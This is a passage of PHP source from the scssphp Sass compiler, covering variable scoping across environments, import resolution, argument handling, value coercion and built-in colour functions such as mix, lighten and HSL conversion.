} else {
$originalQueries = $childQueries;
$childQueries = [];
foreach ($parentQueries as $parentQuery) {
foreach ($originalQueries as $childQuery) {
$childQueries[] = array_merge(
$parentQuery,
[[Type::T_MEDIA_TYPE, [Type::T_KEYWORD,
'all']]],
$childQuery
);
}
}
}
return $this->multiplyMedia($env->parent, $childQueries);
}
/**
* Convert env linked list to stack
*
* @param \Leafo\ScssPhp\Compiler\Environment $env
*
* @return array
*/
protected function compactEnv(Environment $env)
{
for ($envs = []; $env; $env = $env->parent) {
$envs[] = $env;
}
return $envs;
}
/**
* Convert env stack to singly linked list
*
* @param array $envs
*
* @return \Leafo\ScssPhp\Compiler\Environment
*/
protected function extractEnv($envs)
{
for ($env = null; $e = array_pop($envs);) {
$e->parent = $env;
$env = $e;
}
return $env;
}
/**
* Push environment
*
* @param \Leafo\ScssPhp\Block $block
*
* @return \Leafo\ScssPhp\Compiler\Environment
*/
protected function pushEnv(Block $block = null)
{
$env = new Environment;
$env->parent = $this->env;
$env->store = [];
$env->block = $block;
$env->depth = isset($this->env->depth) ?
$this->env->depth + 1 : 0;
$this->env = $env;
return $env;
}
/**
* Pop environment
*/
protected function popEnv()
{
$this->env = $this->env->parent;
}
/**
* Get store environment
*
* @return \Leafo\ScssPhp\Compiler\Environment
*/
protected function getStoreEnv()
{
return isset($this->storeEnv) ? $this->storeEnv :
$this->env;
}
/**
* Set variable
*
* @param string $name
* @param mixed $value
* @param boolean $shadow
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param mixed $valueUnreduced
*/
protected function set($name, $value, $shadow = false, Environment $env
= null, $valueUnreduced = null)
{
$name = $this->normalizeName($name);
if (! isset($env)) {
$env = $this->getStoreEnv();
}
if ($shadow) {
$this->setRaw($name, $value, $env, $valueUnreduced);
} else {
$this->setExisting($name, $value, $env, $valueUnreduced);
}
}
/**
* Set existing variable
*
* @param string $name
* @param mixed $value
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param mixed $valueUnreduced
*/
protected function setExisting($name, $value, Environment $env,
$valueUnreduced = null)
{
$storeEnv = $env;
$hasNamespace = $name[0] === '^' || $name[0] ===
'@' || $name[0] === '%';
for (;;) {
if (array_key_exists($name, $env->store)) {
break;
}
if (! $hasNamespace && isset($env->marker)) {
$env = $storeEnv;
break;
}
if (! isset($env->parent)) {
$env = $storeEnv;
break;
}
$env = $env->parent;
}
$env->store[$name] = $value;
if ($valueUnreduced) {
$env->storeUnreduced[$name] = $valueUnreduced;
}
}
/**
* Set raw variable
*
* @param string $name
* @param mixed $value
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param mixed $valueUnreduced
*/
protected function setRaw($name, $value, Environment $env,
$valueUnreduced = null)
{
$env->store[$name] = $value;
if ($valueUnreduced) {
$env->storeUnreduced[$name] = $valueUnreduced;
}
}
/**
* Get variable
*
* @api
*
* @param string $name
* @param boolean $shouldThrow
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param boolean $unreduced
*
* @return mixed|null
*/
public function get($name, $shouldThrow = true, Environment $env =
null, $unreduced = false)
{
$normalizedName = $this->normalizeName($name);
$specialContentKey = static::$namespaces['special'] .
'content';
if (! isset($env)) {
$env = $this->getStoreEnv();
}
$nextIsRoot = false;
$hasNamespace = $normalizedName[0] === '^' ||
$normalizedName[0] === '@' || $normalizedName[0] ===
'%';
$maxDepth = 10000;
for (;;) {
if ($maxDepth-- <= 0) {
break;
}
if (array_key_exists($normalizedName, $env->store)) {
if ($unreduced &&
isset($env->storeUnreduced[$normalizedName])) {
return $env->storeUnreduced[$normalizedName];
}
return $env->store[$normalizedName];
}
if (! $hasNamespace && isset($env->marker)) {
if (! $nextIsRoot && !
empty($env->store[$specialContentKey])) {
$env = $env->store[$specialContentKey]->scope;
continue;
}
$env = $this->rootEnv;
continue;
}
if (! isset($env->parent)) {
break;
}
$env = $env->parent;
}
if ($shouldThrow) {
$this->throwError("Undefined variable \$$name" .
($maxDepth<=0 ? " (infinite recursion)" : ""));
}
// found nothing
return null;
}
/**
* Has variable?
*
* @param string $name
* @param \Leafo\ScssPhp\Compiler\Environment $env
*
* @return boolean
*/
protected function has($name, Environment $env = null)
{
return $this->get($name, false, $env) !== null;
}
/**
* Inject variables
*
* @param array $args
*/
protected function injectVariables(array $args)
{
if (empty($args)) {
return;
}
$parser = $this->parserFactory(__METHOD__);
foreach ($args as $name => $strValue) {
if ($name[0] === '$') {
$name = substr($name, 1);
}
if (! $parser->parseValue($strValue, $value)) {
$value = $this->coerceValue($strValue);
}
$this->set($name, $value);
}
}
/**
* Set variables
*
* @api
*
* @param array $variables
*/
public function setVariables(array $variables)
{
$this->registeredVars = array_merge($this->registeredVars,
$variables);
}
/**
* Unset variable
*
* @api
*
* @param string $name
*/
public function unsetVariable($name)
{
unset($this->registeredVars[$name]);
}
/**
* Returns list of variables
*
* @api
*
* @return array
*/
public function getVariables()
{
return $this->registeredVars;
}
/**
* Adds to list of parsed files
*
* @api
*
* @param string $path
*/
public function addParsedFile($path)
{
if (isset($path) && file_exists($path)) {
$this->parsedFiles[realpath($path)] = filemtime($path);
}
}
/**
* Returns list of parsed files
*
* @api
*
* @return array
*/
public function getParsedFiles()
{
return $this->parsedFiles;
}
/**
* Add import path
*
* @api
*
* @param string|callable $path
*/
public function addImportPath($path)
{
if (! in_array($path, $this->importPaths)) {
$this->importPaths[] = $path;
}
}
/**
* Set import paths
*
* @api
*
* @param string|array $path
*/
public function setImportPaths($path)
{
$this->importPaths = (array) $path;
}
/**
* Set number precision
*
* @api
*
* @param integer $numberPrecision
*/
public function setNumberPrecision($numberPrecision)
{
Node\Number::$precision = $numberPrecision;
}
/**
* Set formatter
*
* @api
*
* @param string $formatterName
*/
public function setFormatter($formatterName)
{
$this->formatter = $formatterName;
}
/**
* Set line number style
*
* @api
*
* @param string $lineNumberStyle
*/
public function setLineNumberStyle($lineNumberStyle)
{
$this->lineNumberStyle = $lineNumberStyle;
}
/**
* Enable/disable source maps
*
* @api
*
* @param integer $sourceMap
*/
public function setSourceMap($sourceMap)
{
$this->sourceMap = $sourceMap;
}
/**
* Set source map options
*
* @api
*
* @param array $sourceMapOptions
*/
public function setSourceMapOptions($sourceMapOptions)
{
$this->sourceMapOptions = $sourceMapOptions;
}
/**
* Register function
*
* @api
*
* @param string $name
* @param callable $func
* @param array $prototype
*/
public function registerFunction($name, $func, $prototype = null)
{
$this->userFunctions[$this->normalizeName($name)] = [$func,
$prototype];
}
/**
* Unregister function
*
* @api
*
* @param string $name
*/
public function unregisterFunction($name)
{
unset($this->userFunctions[$this->normalizeName($name)]);
}
/**
* Add feature
*
* @api
*
* @param string $name
*/
public function addFeature($name)
{
$this->registeredFeatures[$name] = true;
}
/**
* Import file
*
* @param string $path
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
*/
protected function importFile($path, OutputBlock $out)
{
// see if tree is cached
$realPath = realpath($path);
if (isset($this->importCache[$realPath])) {
$this->handleImportLoop($realPath);
$tree = $this->importCache[$realPath];
} else {
$code = file_get_contents($path);
$parser = $this->parserFactory($path);
$tree = $parser->parse($code);
$this->importCache[$realPath] = $tree;
}
$pi = pathinfo($path);
array_unshift($this->importPaths, $pi['dirname']);
$this->compileChildrenNoReturn($tree->children, $out);
array_shift($this->importPaths);
}
/**
* Return the file path for an import url if it exists
*
* @api
*
* @param string $url
*
* @return string|null
*/
public function findImport($url)
{
$urls = [];
// for "normal" scss imports (ignore vanilla css and
external requests)
if (! preg_match('/\.css$|^https?:\/\//', $url)) {
// try both normal and the _partial filename
$urls = [$url, preg_replace('/[^\/]+$/',
'_\0', $url)];
}
$hasExtension = preg_match('/[.]s?css$/', $url);
foreach ($this->importPaths as $dir) {
if (is_string($dir)) {
// check urls for normal import paths
foreach ($urls as $full) {
$separator = (
! empty($dir) &&
substr($dir, -1) !== '/' &&
substr($full, 0, 1) !== '/'
) ? '/' : '';
$full = $dir . $separator . $full;
if ($this->fileExists($file = $full .
'.scss') ||
($hasExtension &&
$this->fileExists($file = $full))
) {
return $file;
}
}
} elseif (is_callable($dir)) {
// check custom callback for import path
$file = call_user_func($dir, $url);
if ($file !== null) {
return $file;
}
}
}
return null;
}
/**
* Set encoding
*
* @api
*
* @param string $encoding
*/
public function setEncoding($encoding)
{
$this->encoding = $encoding;
}
/**
* Ignore errors?
*
* @api
*
* @param boolean $ignoreErrors
*
* @return \Leafo\ScssPhp\Compiler
*/
public function setIgnoreErrors($ignoreErrors)
{
$this->ignoreErrors = $ignoreErrors;
return $this;
}
/**
* Throw error (exception)
*
* @api
*
* @param string $msg Message with optional sprintf()-style vararg
parameters
*
* @throws \Leafo\ScssPhp\Exception\CompilerException
*/
public function throwError($msg)
{
if ($this->ignoreErrors) {
return;
}
$line = $this->sourceLine;
$column = $this->sourceColumn;
$loc = isset($this->sourceNames[$this->sourceIndex])
? $this->sourceNames[$this->sourceIndex] . " on
line $line, at column $column"
: "line: $line, column: $column";
if (func_num_args() > 1) {
$msg = call_user_func_array('sprintf',
func_get_args());
}
$msg = "$msg: $loc";
$callStackMsg = $this->callStackMessage();
if ($callStackMsg) {
$msg .= "\nCall Stack:\n" . $callStackMsg;
}
throw new CompilerException($msg);
}
/**
* Beautify call stack for output
*
* @param boolean $all
* @param null $limit
*
* @return string
*/
protected function callStackMessage($all = false, $limit = null)
{
$callStackMsg = [];
$ncall = 0;
if ($this->callStack) {
foreach (array_reverse($this->callStack) as $call) {
if ($all || (isset($call['n']) &&
$call['n'])) {
$msg = "#" . $ncall++ . " " .
$call['n'] . " ";
$msg .=
(isset($this->sourceNames[$call[Parser::SOURCE_INDEX]])
?
$this->sourceNames[$call[Parser::SOURCE_INDEX]]
: '(unknown file)');
$msg .= " on line " .
$call[Parser::SOURCE_LINE];
$callStackMsg[] = $msg;
if (! is_null($limit) && $ncall>$limit) {
break;
}
}
}
}
return implode("\n", $callStackMsg);
}
/**
* Handle import loop
*
* @param string $name
*
* @throws \Exception
*/
protected function handleImportLoop($name)
{
for ($env = $this->env; $env; $env = $env->parent) {
$file = $this->sourceNames[$env->block->sourceIndex];
if (realpath($file) === $name) {
$this->throwError('An @import loop has been found:
%s imports %s', $file, basename($file));
break;
}
}
}
/**
* Does file exist?
*
* @param string $name
*
* @return boolean
*/
protected function fileExists($name)
{
return file_exists($name) && is_file($name);
}
/**
* Call SCSS @function
*
* @param string $name
* @param array $argValues
* @param array $returnValue
*
* @return boolean Returns true if returnValue is set; otherwise, false
*/
protected function callScssFunction($name, $argValues,
&$returnValue)
{
$func = $this->get(static::$namespaces['function'] .
$name, false);
if (! $func) {
return false;
}
$this->pushEnv();
$storeEnv = $this->storeEnv;
$this->storeEnv = $this->env;
// set the args
if (isset($func->args)) {
$this->applyArguments($func->args, $argValues);
}
// throw away lines and children
$tmp = new OutputBlock;
$tmp->lines = [];
$tmp->children = [];
$this->env->marker = 'function';
$ret = $this->compileChildren($func->children, $tmp,
$this->env->marker . " " . $name);
$this->storeEnv = $storeEnv;
$this->popEnv();
$returnValue = ! isset($ret) ? static::$defaultValue : $ret;
return true;
}
/**
* Call built-in and registered (PHP) functions
*
* @param string $name
* @param array $args
* @param array $returnValue
*
* @return boolean Returns true if returnValue is set; otherwise, false
*/
protected function callNativeFunction($name, $args, &$returnValue)
{
// try a lib function
$name = $this->normalizeName($name);
if (isset($this->userFunctions[$name])) {
// see if we can find a user function
list($f, $prototype) = $this->userFunctions[$name];
} elseif (($f = $this->getBuiltinFunction($name)) &&
is_callable($f)) {
$libName = $f[1];
$prototype = isset(static::$$libName) ? static::$$libName :
null;
} else {
return false;
}
@list($sorted, $kwargs) = $this->sortArgs($prototype, $args);
if ($name !== 'if' && $name !== 'call')
{
foreach ($sorted as &$val) {
$val = $this->reduce($val, true);
}
}
$returnValue = call_user_func($f, $sorted, $kwargs);
if (! isset($returnValue)) {
return false;
}
$returnValue = $this->coerceValue($returnValue);
return true;
}
/**
* Get built-in function
*
* @param string $name Normalized name
*
* @return array
*/
protected function getBuiltinFunction($name)
{
$libName = 'lib' . preg_replace_callback(
'/_(.)/',
function ($m) {
return ucfirst($m[1]);
},
ucfirst($name)
);
return [$this, $libName];
}
/**
* Sorts keyword arguments
*
* @param array $prototype
* @param array $args
*
* @return array
*/
protected function sortArgs($prototype, $args)
{
$keyArgs = [];
$posArgs = [];
// separate positional and keyword arguments
foreach ($args as $arg) {
list($key, $value) = $arg;
$key = $key[1];
if (empty($key)) {
$posArgs[] = empty($arg[2]) ? $value : $arg;
} else {
$keyArgs[$key] = $value;
}
}
if (! isset($prototype)) {
return [$posArgs, $keyArgs];
}
// copy positional args
$finalArgs = array_pad($posArgs, count($prototype), null);
// overwrite positional args with keyword args
foreach ($prototype as $i => $names) {
foreach ((array) $names as $name) {
if (isset($keyArgs[$name])) {
$finalArgs[$i] = $keyArgs[$name];
}
}
}
return [$finalArgs, $keyArgs];
}
/**
* Apply argument values per definition
*
* @param array $argDef
* @param array $argValues
*
* @throws \Exception
*/
protected function applyArguments($argDef, $argValues)
{
$storeEnv = $this->getStoreEnv();
$env = new Environment;
$env->store = $storeEnv->store;
$hasVariable = false;
$args = [];
foreach ($argDef as $i => $arg) {
list($name, $default, $isVariable) = $argDef[$i];
$args[$name] = [$i, $name, $default, $isVariable];
$hasVariable |= $isVariable;
}
$keywordArgs = [];
$deferredKeywordArgs = [];
$remaining = [];
// assign the keyword args
foreach ((array) $argValues as $arg) {
if (! empty($arg[0])) {
if (! isset($args[$arg[0][1]])) {
if ($hasVariable) {
$deferredKeywordArgs[$arg[0][1]] = $arg[1];
} else {
$this->throwError("Mixin or function
doesn't have an argument named $%s.", $arg[0][1]);
break;
}
} elseif ($args[$arg[0][1]][0] < count($remaining)) {
$this->throwError("The argument $%s was passed
both by position and by name.", $arg[0][1]);
break;
} else {
$keywordArgs[$arg[0][1]] = $arg[1];
}
} elseif (count($keywordArgs)) {
$this->throwError('Positional arguments must come
before keyword arguments.');
break;
} elseif ($arg[2] === true) {
$val = $this->reduce($arg[1], true);
if ($val[0] === Type::T_LIST) {
foreach ($val[2] as $name => $item) {
if (! is_numeric($name)) {
$keywordArgs[$name] = $item;
} else {
$remaining[] = $item;
}
}
} elseif ($val[0] === Type::T_MAP) {
foreach ($val[1] as $i => $name) {
$name =
$this->compileStringContent($this->coerceString($name));
$item = $val[2][$i];
if (! is_numeric($name)) {
$keywordArgs[$name] = $item;
} else {
$remaining[] = $item;
}
}
} else {
$remaining[] = $val;
}
} else {
$remaining[] = $arg[1];
}
}
foreach ($args as $arg) {
list($i, $name, $default, $isVariable) = $arg;
if ($isVariable) {
$val = [Type::T_LIST, ',', [], $isVariable];
for ($count = count($remaining); $i < $count; $i++) {
$val[2][] = $remaining[$i];
}
foreach ($deferredKeywordArgs as $itemName => $item) {
$val[2][$itemName] = $item;
}
} elseif (isset($remaining[$i])) {
$val = $remaining[$i];
} elseif (isset($keywordArgs[$name])) {
$val = $keywordArgs[$name];
} elseif (! empty($default)) {
continue;
} else {
$this->throwError("Missing argument $name");
break;
}
$this->set($name, $this->reduce($val, true), true, $env);
}
$storeEnv->store = $env->store;
foreach ($args as $arg) {
list($i, $name, $default, $isVariable) = $arg;
if ($isVariable || isset($remaining[$i]) ||
isset($keywordArgs[$name]) || empty($default)) {
continue;
}
$this->set($name, $this->reduce($default, true), true);
}
}
/**
* Coerce a php value into a scss one
*
* @param mixed $value
*
* @return array|\Leafo\ScssPhp\Node\Number
*/
protected function coerceValue($value)
{
if (is_array($value) || $value instanceof \ArrayAccess) {
return $value;
}
if (is_bool($value)) {
return $this->toBool($value);
}
if ($value === null) {
return static::$null;
}
if (is_numeric($value)) {
return new Node\Number($value, '');
}
if ($value === '') {
return static::$emptyString;
}
if (preg_match('/^(#([0-9a-f]{6})|#([0-9a-f]{3}))$/i',
$value, $m)) {
$color = [Type::T_COLOR];
if (isset($m[3])) {
$num = hexdec($m[3]);
foreach ([3, 2, 1] as $i) {
$t = $num & 0xf;
$color[$i] = $t << 4 | $t;
$num >>= 4;
}
} else {
$num = hexdec($m[2]);
foreach ([3, 2, 1] as $i) {
$color[$i] = $num & 0xff;
$num >>= 8;
}
}
return $color;
}
return [Type::T_KEYWORD, $value];
}
/**
* Coerce something to map
*
* @param array $item
*
* @return array
*/
protected function coerceMap($item)
{
if ($item[0] === Type::T_MAP) {
return $item;
}
if ($item === static::$emptyList) {
return static::$emptyMap;
}
return [Type::T_MAP, [$item], [static::$null]];
}
/**
* Coerce something to list
*
* @param array $item
* @param string $delim
*
* @return array
*/
protected function coerceList($item, $delim = ',')
{
if (isset($item) && $item[0] === Type::T_LIST) {
return $item;
}
if (isset($item) && $item[0] === Type::T_MAP) {
$keys = $item[1];
$values = $item[2];
$list = [];
for ($i = 0, $s = count($keys); $i < $s; $i++) {
$key = $keys[$i];
$value = $values[$i];
$list[] = [
Type::T_LIST,
'',
[[Type::T_KEYWORD,
$this->compileStringContent($this->coerceString($key))], $value]
];
}
return [Type::T_LIST, ',', $list];
}
return [Type::T_LIST, $delim, ! isset($item) ? []: [$item]];
}
/**
* Coerce color for expression
*
* @param array $value
*
* @return array|null
*/
protected function coerceForExpression($value)
{
if ($color = $this->coerceColor($value)) {
return $color;
}
return $value;
}
/**
* Coerce value to color
*
* @param array $value
*
* @return array|null
*/
protected function coerceColor($value)
{
switch ($value[0]) {
case Type::T_COLOR:
return $value;
case Type::T_KEYWORD:
$name = strtolower($value[1]);
if (isset(Colors::$cssColors[$name])) {
$rgba = explode(',',
Colors::$cssColors[$name]);
return isset($rgba[3])
? [Type::T_COLOR, (int) $rgba[0], (int) $rgba[1],
(int) $rgba[2], (int) $rgba[3]]
: [Type::T_COLOR, (int) $rgba[0], (int) $rgba[1],
(int) $rgba[2]];
}
return null;
}
return null;
}
/**
* Coerce value to string
*
* @param array $value
*
* @return array|null
*/
protected function coerceString($value)
{
if ($value[0] === Type::T_STRING) {
return $value;
}
return [Type::T_STRING, '',
[$this->compileValue($value)]];
}
/**
* Coerce value to a percentage
*
* @param array $value
*
* @return integer|float
*/
protected function coercePercent($value)
{
if ($value[0] === Type::T_NUMBER) {
if (! empty($value[2]['%'])) {
return $value[1] / 100;
}
return $value[1];
}
return 0;
}
/**
* Assert value is a map
*
* @api
*
* @param array $value
*
* @return array
*
* @throws \Exception
*/
public function assertMap($value)
{
$value = $this->coerceMap($value);
if ($value[0] !== Type::T_MAP) {
$this->throwError('expecting map, %s received',
$value[0]);
}
return $value;
}
/**
* Assert value is a list
*
* @api
*
* @param array $value
*
* @return array
*
* @throws \Exception
*/
public function assertList($value)
{
if ($value[0] !== Type::T_LIST) {
$this->throwError('expecting list, %s received',
$value[0]);
}
return $value;
}
/**
* Assert value is a color
*
* @api
*
* @param array $value
*
* @return array
*
* @throws \Exception
*/
public function assertColor($value)
{
if ($color = $this->coerceColor($value)) {
return $color;
}
$this->throwError('expecting color, %s received',
$value[0]);
}
/**
* Assert value is a number
*
* @api
*
* @param array $value
*
* @return integer|float
*
* @throws \Exception
*/
public function assertNumber($value)
{
if ($value[0] !== Type::T_NUMBER) {
$this->throwError('expecting number, %s received',
$value[0]);
}
return $value[1];
}
/**
* Make sure a color's components don't go out of bounds
*
* @param array $c
*
* @return array
*/
protected function fixColor($c)
{
foreach ([1, 2, 3] as $i) {
if ($c[$i] < 0) {
$c[$i] = 0;
}
if ($c[$i] > 255) {
$c[$i] = 255;
}
}
return $c;
}
/**
* Convert RGB to HSL
*
* @api
*
* @param integer $red
* @param integer $green
* @param integer $blue
*
* @return array
*/
public function toHSL($red, $green, $blue)
{
$min = min($red, $green, $blue);
$max = max($red, $green, $blue);
$l = $min + $max;
$d = $max - $min;
if ((int) $d === 0) {
$h = $s = 0;
} else {
if ($l < 255) {
$s = $d / $l;
} else {
$s = $d / (510 - $l);
}
if ($red == $max) {
$h = 60 * ($green - $blue) / $d;
} elseif ($green == $max) {
$h = 60 * ($blue - $red) / $d + 120;
} elseif ($blue == $max) {
$h = 60 * ($red - $green) / $d + 240;
}
}
return [Type::T_HSL, fmod($h, 360), $s * 100, $l / 5.1];
}
/**
* Hue to RGB helper
*
* @param float $m1
* @param float $m2
* @param float $h
*
* @return float
*/
protected function hueToRGB($m1, $m2, $h)
{
if ($h < 0) {
$h += 1;
} elseif ($h > 1) {
$h -= 1;
}
if ($h * 6 < 1) {
return $m1 + ($m2 - $m1) * $h * 6;
}
if ($h * 2 < 1) {
return $m2;
}
if ($h * 3 < 2) {
return $m1 + ($m2 - $m1) * (2/3 - $h) * 6;
}
return $m1;
}
/**
* Convert HSL to RGB
*
* @api
*
* @param integer $hue H from 0 to 360
* @param integer $saturation S from 0 to 100
* @param integer $lightness L from 0 to 100
*
* @return array
*/
public function toRGB($hue, $saturation, $lightness)
{
if ($hue < 0) {
$hue += 360;
}
$h = $hue / 360;
$s = min(100, max(0, $saturation)) / 100;
$l = min(100, max(0, $lightness)) / 100;
$m2 = $l <= 0.5 ? $l * ($s + 1) : $l + $s - $l * $s;
$m1 = $l * 2 - $m2;
$r = $this->hueToRGB($m1, $m2, $h + 1/3) * 255;
$g = $this->hueToRGB($m1, $m2, $h) * 255;
$b = $this->hueToRGB($m1, $m2, $h - 1/3) * 255;
$out = [Type::T_COLOR, $r, $g, $b];
return $out;
}
// Built in functions
//protected static $libCall = ['name', 'args...'];
protected function libCall($args, $kwargs)
{
$name =
$this->compileStringContent($this->coerceString($this->reduce(array_shift($args),
true)));
$posArgs = [];
foreach ($args as $arg) {
if (empty($arg[0])) {
if ($arg[2] === true) {
$tmp = $this->reduce($arg[1]);
if ($tmp[0] === Type::T_LIST) {
foreach ($tmp[2] as $item) {
$posArgs[] = [null, $item, false];
}
} else {
$posArgs[] = [null, $tmp, true];
}
continue;
}
$posArgs[] = [null, $this->reduce($arg), false];
continue;
}
$posArgs[] = [null, $arg, false];
}
if (count($kwargs)) {
foreach ($kwargs as $key => $value) {
$posArgs[] = [[Type::T_VARIABLE, $key], $value, false];
}
}
return $this->reduce([Type::T_FUNCTION_CALL, $name, $posArgs]);
}
protected static $libIf = ['condition', 'if-true',
'if-false'];
protected function libIf($args)
{
list($cond, $t, $f) = $args;
if (! $this->isTruthy($this->reduce($cond, true))) {
return $this->reduce($f, true);
}
return $this->reduce($t, true);
}
protected static $libIndex = ['list', 'value'];
protected function libIndex($args)
{
list($list, $value) = $args;
if ($value[0] === Type::T_MAP) {
return static::$null;
}
if ($list[0] === Type::T_MAP ||
$list[0] === Type::T_STRING ||
$list[0] === Type::T_KEYWORD ||
$list[0] === Type::T_INTERPOLATE
) {
$list = $this->coerceList($list, ' ');
}
if ($list[0] !== Type::T_LIST) {
return static::$null;
}
$values = [];
foreach ($list[2] as $item) {
$values[] = $this->normalizeValue($item);
}
$key = array_search($this->normalizeValue($value), $values);
return false === $key ? static::$null : $key + 1;
}
protected static $libRgb = ['red', 'green',
'blue'];
protected function libRgb($args)
{
list($r, $g, $b) = $args;
return [Type::T_COLOR, $r[1], $g[1], $b[1]];
}
protected static $libRgba = [
['red', 'color'],
'green', 'blue', 'alpha'];
protected function libRgba($args)
{
if ($color = $this->coerceColor($args[0])) {
$num = isset($args[3]) ? $args[3] : $args[1];
$alpha = $this->assertNumber($num);
$color[4] = $alpha;
return $color;
}
list($r, $g, $b, $a) = $args;
return [Type::T_COLOR, $r[1], $g[1], $b[1], $a[1]];
}
// helper function for adjust_color, change_color, and scale_color
protected function alterColor($args, $fn)
{
$color = $this->assertColor($args[0]);
foreach ([1, 2, 3, 7] as $i) {
if (isset($args[$i])) {
$val = $this->assertNumber($args[$i]);
$ii = $i === 7 ? 4 : $i; // alpha
$color[$ii] = call_user_func($fn, isset($color[$ii]) ?
$color[$ii] : 0, $val, $i);
}
}
if (isset($args[4]) || isset($args[5]) || isset($args[6])) {
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
foreach ([4, 5, 6] as $i) {
if (isset($args[$i])) {
$val = $this->assertNumber($args[$i]);
$hsl[$i - 3] = call_user_func($fn, $hsl[$i - 3], $val,
$i);
}
}
$rgb = $this->toRGB($hsl[1], $hsl[2], $hsl[3]);
if (isset($color[4])) {
$rgb[4] = $color[4];
}
$color = $rgb;
}
return $color;
}
protected static $libAdjustColor = [
'color', 'red', 'green',
'blue',
'hue', 'saturation', 'lightness',
'alpha'
];
protected function libAdjustColor($args)
{
return $this->alterColor($args, function ($base, $alter, $i) {
return $base + $alter;
});
}
protected static $libChangeColor = [
'color', 'red', 'green',
'blue',
'hue', 'saturation', 'lightness',
'alpha'
];
protected function libChangeColor($args)
{
return $this->alterColor($args, function ($base, $alter, $i) {
return $alter;
});
}
protected static $libScaleColor = [
'color', 'red', 'green',
'blue',
'hue', 'saturation', 'lightness',
'alpha'
];
protected function libScaleColor($args)
{
return $this->alterColor($args, function ($base, $scale, $i) {
// 1, 2, 3 - rgb
// 4, 5, 6 - hsl
// 7 - a
switch ($i) {
case 1:
case 2:
case 3:
$max = 255;
break;
case 4:
$max = 360;
break;
case 7:
$max = 1;
break;
default:
$max = 100;
}
$scale = $scale / 100;
if ($scale < 0) {
return $base * $scale + $base;
}
return ($max - $base) * $scale + $base;
});
}
protected static $libIeHexStr = ['color'];
protected function libIeHexStr($args)
{
$color = $this->coerceColor($args[0]);
$color[4] = isset($color[4]) ? round(255 * $color[4]) : 255;
return sprintf('#%02X%02X%02X%02X', $color[4], $color[1],
$color[2], $color[3]);
}
protected static $libRed = ['color'];
protected function libRed($args)
{
$color = $this->coerceColor($args[0]);
return $color[1];
}
protected static $libGreen = ['color'];
protected function libGreen($args)
{
$color = $this->coerceColor($args[0]);
return $color[2];
}
protected static $libBlue = ['color'];
protected function libBlue($args)
{
$color = $this->coerceColor($args[0]);
return $color[3];
}
protected static $libAlpha = ['color'];
protected function libAlpha($args)
{
if ($color = $this->coerceColor($args[0])) {
return isset($color[4]) ? $color[4] : 1;
}
// this might be the IE function, so return value unchanged
return null;
}
protected static $libOpacity = ['color'];
protected function libOpacity($args)
{
$value = $args[0];
if ($value[0] === Type::T_NUMBER) {
return null;
}
return $this->libAlpha($args);
}
// mix two colors
protected static $libMix = ['color-1', 'color-2',
'weight'];
protected function libMix($args)
{
list($first, $second, $weight) = $args;
$first = $this->assertColor($first);
$second = $this->assertColor($second);
if (! isset($weight)) {
$weight = 0.5;
} else {
$weight = $this->coercePercent($weight);
}
$firstAlpha = isset($first[4]) ? $first[4] : 1;
$secondAlpha = isset($second[4]) ? $second[4] : 1;
$w = $weight * 2 - 1;
$a = $firstAlpha - $secondAlpha;
$w1 = (($w * $a === -1 ? $w : ($w + $a) / (1 + $w * $a)) + 1) /
2.0;
$w2 = 1.0 - $w1;
$new = [Type::T_COLOR,
$w1 * $first[1] + $w2 * $second[1],
$w1 * $first[2] + $w2 * $second[2],
$w1 * $first[3] + $w2 * $second[3],
];
if ($firstAlpha != 1.0 || $secondAlpha != 1.0) {
$new[] = $firstAlpha * $weight + $secondAlpha * (1 - $weight);
}
return $this->fixColor($new);
}
protected static $libHsl = ['hue', 'saturation',
'lightness'];
protected function libHsl($args)
{
list($h, $s, $l) = $args;
return $this->toRGB($h[1], $s[1], $l[1]);
}
protected static $libHsla = ['hue', 'saturation',
'lightness', 'alpha'];
protected function libHsla($args)
{
list($h, $s, $l, $a) = $args;
$color = $this->toRGB($h[1], $s[1], $l[1]);
$color[4] = $a[1];
return $color;
}
protected static $libHue = ['color'];
protected function libHue($args)
{
$color = $this->assertColor($args[0]);
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
return new Node\Number($hsl[1], 'deg');
}
protected static $libSaturation = ['color'];
protected function libSaturation($args)
{
$color = $this->assertColor($args[0]);
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
return new Node\Number($hsl[2], '%');
}
protected static $libLightness = ['color'];
protected function libLightness($args)
{
$color = $this->assertColor($args[0]);
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
return new Node\Number($hsl[3], '%');
}
protected function adjustHsl($color, $idx, $amount)
{
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
$hsl[$idx] += $amount;
$out = $this->toRGB($hsl[1], $hsl[2], $hsl[3]);
if (isset($color[4])) {
$out[4] = $color[4];
}
return $out;
}
protected static $libAdjustHue = ['color',
'degrees'];
protected function libAdjustHue($args)
{
$color = $this->assertColor($args[0]);
$degrees = $this->assertNumber($args[1]);
return $this->adjustHsl($color, 1, $degrees);
}
protected static $libLighten = ['color', 'amount'];
protected function libLighten($args)
{
$color = $this->assertColor($args[0]);
$amount = Util::checkRange('amount', new Range(0, 100),
$args[1], '%');
return $this->adjustHsl($color, 3, $amount);
}
protected static $libDarken = ['color', 'amount'];
protected function libDarken($args)
{
$color = $this->assertColor($args[0]);
$amount = Util::checkRange('amount', new Range(0, 100),
$args[1], '%');
return $this->adjustHsl($color, 3, -$amount);
}
protected static $libSaturate = ['color',
'amount'];
protected function libSaturate($args)
{
$value = $args[0];
if ($value[0] === Type::T_NUMBER) {
return null;
}
$color = $this->assertColor($value);
$amount = 100 * $this->coercePercent($args[1]);
return $this->adjustHsl($color, 2, $amount);
}
protected static $libDesaturate = ['color',
'amount'];
protected function libDesaturate($args)
{
$color = $this->assertColor($args[0]);
$amount = 100 * $this->coercePercent($args[1]);
return $this->adjustHsl($color, 2, -$amount);
}
protected static $libGrayscale = ['color'];
protected function libGrayscale($args)
{
$value = $args[0];
if ($value[0] === Type::T_NUMBER) {
return null;
}
return $this->adjustHsl($this->assertColor($value), 2, -100);
}
protected static $libComplement = ['color'];
protected function libComplement($args)
{
return $this->adjustHsl($this->assertColor($args[0]), 1,
180);
}
protected static $libInvert = ['color'];
protected function libInvert($args)
{
$value = $args[0];
if ($value[0] === Type::T_NUMBER) {
return null;
}
$color = $this->assertColor($value);
